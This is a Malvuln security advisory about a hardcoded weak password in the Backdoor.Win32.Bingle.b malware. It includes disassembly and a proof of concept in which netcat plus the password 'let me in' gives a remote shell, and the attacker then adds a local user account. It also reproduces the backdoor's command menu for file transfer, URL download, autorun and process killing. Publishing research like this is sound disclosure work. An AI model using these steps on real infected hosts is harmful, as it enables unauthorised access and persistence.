Backdoor.Win32.Bingle.b MVID-2022-0643 Hardcoded Credential

Discovery / credits: Malvuln (John Page aka hyp3rlinx) (c) 2022Original source: https://malvuln.com/advisory/eacaa12336f50f1c395663fba92a4d32.txtContact: [email protected]: twitter.com/malvulnThreat: Backdoor.Win32.Bingle.bVulnerability: Weak Hardcoded CredentialsDescription: The malware is packed using ASPack 2.11, listens on TCP port 22 and requires authentication. However, the password "let me in" is weak and hardcoded within the PE file. Unpacking the executable, easily reveals the cleartext password.Family: BingleType: PE32MD5: eacaa12336f50f1c395663fba92a4d32Vuln ID: MVID-2022-0643 Disclosure: 09/24/2022004029A0                 call    sub_4010E0004029A5                 add     esp, 0Ch004029A8                 cmp     eax, ebp004029AA                 jge     short loc_4029CC004029AC                 mov     edi, [esp+eax*4+230h+var_21C]004029B0                 mov     ecx, ebx004029B2                 xor     eax, eax004029B4                 repne scasb004029B6                 not     ecx004029B8                 sub     edi, ecx004029BA                 mov     edx, ecx004029BC                 mov     esi, edi004029BE                 mov     edi, offset aLetMeIn ; "let me in"Exploit/PoC:C:\>nc64.exe x.x.x.x 22let me in Nt Shell 1.0 beta by [email protected]        Indicator '#' is NTShell Server output.        Type ?help for support commands beyond cmd;        ?use at command line for support parameters.        Use 'net helpmsg xxx' to see detail message of Error Code.Microsoft Windows [Version 10.0.16299.309](c) 2017 Microsoft Corporation. All rights reserved.C:\Users\Victim\Desktop>whoamiwhoamidesktop-2c3iqho\victimC:\Users\Victim\Desktop>net user hyp3rlinx 1313 /addnet user hyp3rlinx 1313 /addThe command completed successfully.C:\Users\Victim\Desktop>?help#?autorun [name file "args"] --- add the [file] to autorun when reboot,                 [file] default is ntshell.exe#?canceldata            --- abort the previous file transfer command#?chdir <dir>           --- change the server current dir to <dir>,                 can be UNC(share) name#?get <file> [port]     --- GET <file> from server, server use [port] to tranfer#?help                  --- show this HELP#?httpget <url> <file>  --- get the 'file' from 'url',                eg:httpget http://192.168.0.1 /hackdir/hackprog.exe#?pskill PID            --- Kill the Process with PID#?pslist                --- List the all process in system#?put <file> [port]     --- PUT <file> to server, server use [port] to tranfer#?quit                  --- QUIT the telnetd program#?restart [<user> [pass]]       --- restart the shell as [user] in stead of                IUSR_computer if [user] specified, no need to reconnect#?sysinfor              --- Get the System os informationDisclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).